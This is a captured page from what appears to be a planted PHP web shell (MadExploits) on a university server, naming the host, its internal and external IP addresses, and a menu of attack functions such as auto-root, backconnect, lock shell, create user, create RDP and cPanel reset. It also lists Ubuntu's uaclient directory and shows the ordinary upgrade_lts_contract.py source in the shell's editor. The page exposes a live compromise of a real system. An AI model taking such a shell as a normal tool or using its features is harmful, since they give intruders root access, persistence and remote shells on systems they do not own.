Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.188.92.6
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
uaclient /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
clouds
[ DIR ]
drwxr-xr-x
daemon
[ DIR ]
drwxr-xr-x
entitlements
[ DIR ]
drwxr-xr-x
files
[ DIR ]
drwxr-xr-x
http
[ DIR ]
drwxr-xr-x
messages
[ DIR ]
drwxr-xr-x
timer
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
actions.py
14.25
KB
-rw-r--r--
apt.py
34.27
KB
-rw-r--r--
apt_news.py
8.32
KB
-rw-r--r--
config.py
17.36
KB
-rw-r--r--
contract.py
29.96
KB
-rw-r--r--
contract_data_types.py
9.89
KB
-rw-r--r--
data_types.py
10.48
KB
-rw-r--r--
defaults.py
2.52
KB
-rw-r--r--
event_logger.py
8.06
KB
-rw-r--r--
exceptions.py
17.17
KB
-rw-r--r--
gpg.py
836
B
-rw-r--r--
livepatch.py
12.85
KB
-rw-r--r--
lock.py
4.42
KB
-rw-r--r--
log.py
4.69
KB
-rw-r--r--
secret_manager.py
648
B
-rw-r--r--
security_status.py
25.48
KB
-rw-r--r--
snap.py
7.09
KB
-rw-r--r--
status.py
28.42
KB
-rw-r--r--
system.py
26.03
KB
-rw-r--r--
types.py
308
B
-rw-r--r--
upgrade_lts_contract.py
3.54
KB
-rw-r--r--
util.py
15.45
KB
-rw-r--r--
version.py
2.62
KB
-rw-r--r--
yaml.py
840
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upgrade_lts_contract.py
#!/usr/bin/env python3 """ This function is called from lib/upgrade_lts_contract.py and from lib/reboot_cmds.py This function should be used after running do-release-upgrade in a machine. It will detect any contract deltas between the release before do-release-upgrade and the current release. If we find any differences in the uaclient contract between those releases, we will apply that difference in the upgraded release. For example, suppose we are on Trusty and we are upgrading to Xenial. We found that the apt url for esm services on trusty: https://esm.ubuntu.com/ubuntu While on Xenial, the apt url is: https://esm.ubuntu.com/infra/ubuntu This script will detect differences like that and update the Xenial system to reflect them. """ import logging import sys import time from uaclient import contract, defaults, messages, system, util from uaclient.api.u.pro.status.is_attached.v1 import _is_attached from uaclient.config import UAConfig from uaclient.files import machine_token # We consider the past release for LTSs to be the last LTS, # because we don't have any services available on non-LTS. # This makes it safer for us to try to process contract deltas. # For example, we had "jammy": "focal" even when Impish was # still supported. current_codename_to_past_codename = { "xenial": "trusty", "bionic": "xenial", "focal": "bionic", "jammy": "focal", "mantic": "lunar", "noble": "jammy", } LOG = logging.getLogger(util.replace_top_level_logger_name(__name__)) def process_contract_delta_after_apt_lock(cfg: UAConfig) -> None: LOG.debug("Check whether to upgrade-lts-contract") if not _is_attached(cfg).is_attached: LOG.debug("Skipping upgrade-lts-contract. Machine is unattached") return LOG.debug("Starting upgrade-lts-contract.") out, _err = system.subp(["lsof", "/var/lib/apt/lists/lock"], rcs=[0, 1]) if out: print(messages.RELEASE_UPGRADE_APT_LOCK_HELD_WILL_WAIT) current_release = system.get_release_info().series machine_token_file = machine_token.get_machine_token_file(cfg) past_release = current_codename_to_past_codename.get(current_release) if past_release is None: print( messages.RELEASE_UPGRADE_NO_PAST_RELEASE.format( release=current_release ) ) LOG.warning( "Could not find past release for %s. Current known releases: %r.", current_release, current_codename_to_past_codename, ) sys.exit(1) past_entitlements = machine_token_file.entitlements(series=past_release) new_entitlements = machine_token_file.entitlements() retry_count = 0 while out: # Loop until apt hold is released at the end of `do-release-upgrade` LOG.debug("Detected that apt lock is held. Sleeping 10 seconds.") time.sleep(10) out, _err = system.subp( ["lsof", "/var/lib/apt/lists/lock"], rcs=[0, 1] ) retry_count += 1 LOG.debug( "upgrade-lts-contract processing contract deltas: %s -> %s", past_release, current_release, ) print(messages.RELEASE_UPGRADE_STARTING) contract.process_entitlements_delta( cfg=cfg, past_entitlements=past_entitlements, new_entitlements=new_entitlements, allow_enable=True, series_overrides=False, ) LOG.debug("upgrade-lts-contract succeeded after %s retries", retry_count) print(messages.RELEASE_UPGRADE_SUCCESS) def remove_private_esm_apt_cache(): system.ensure_folder_absent(defaults.ESM_APT_ROOTDIR)
Close